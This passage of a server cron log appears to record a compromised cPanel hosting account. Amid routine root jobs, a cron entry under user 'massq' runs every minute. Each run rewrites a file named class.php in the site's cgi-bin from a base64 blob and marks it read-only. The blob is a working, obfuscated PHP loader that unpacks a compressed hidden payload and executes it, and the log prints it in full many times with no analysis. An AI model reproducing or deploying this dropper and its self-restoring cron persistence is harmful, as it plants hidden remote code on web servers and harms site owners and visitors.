UyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:51:01 server CROND[11757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:52:01 server CROND[11798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:53:01 server CROND[11848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:54:01 server CROND[11998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:55:01 server CROND[12052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:55:01 server CROND[12053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:55:01 server CROND[12054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:56:01 server CROND[12146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:57:01 server CROND[12201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:57:01 server CROND[12202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 14:58:01 server CROND[12263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:59:01 server CROND[12410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:00:01 server CROND[12464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:00:01 server CROND[12465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:00:01 server CROND[12466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:00:01 server CROND[12467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:01:01 server CROND[12578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:01:01 server CROND[12579]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 15:01:01 server run-parts(/etc/cron.hourly)[12579]: starting 0anacron
Apr 12 15:01:01 server run-parts(/etc/cron.hourly)[12591]: finished 0anacron
Apr 12 15:02:01 server CROND[12647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:03:01 server CROND[12701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:04:01 server CROND[12767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0K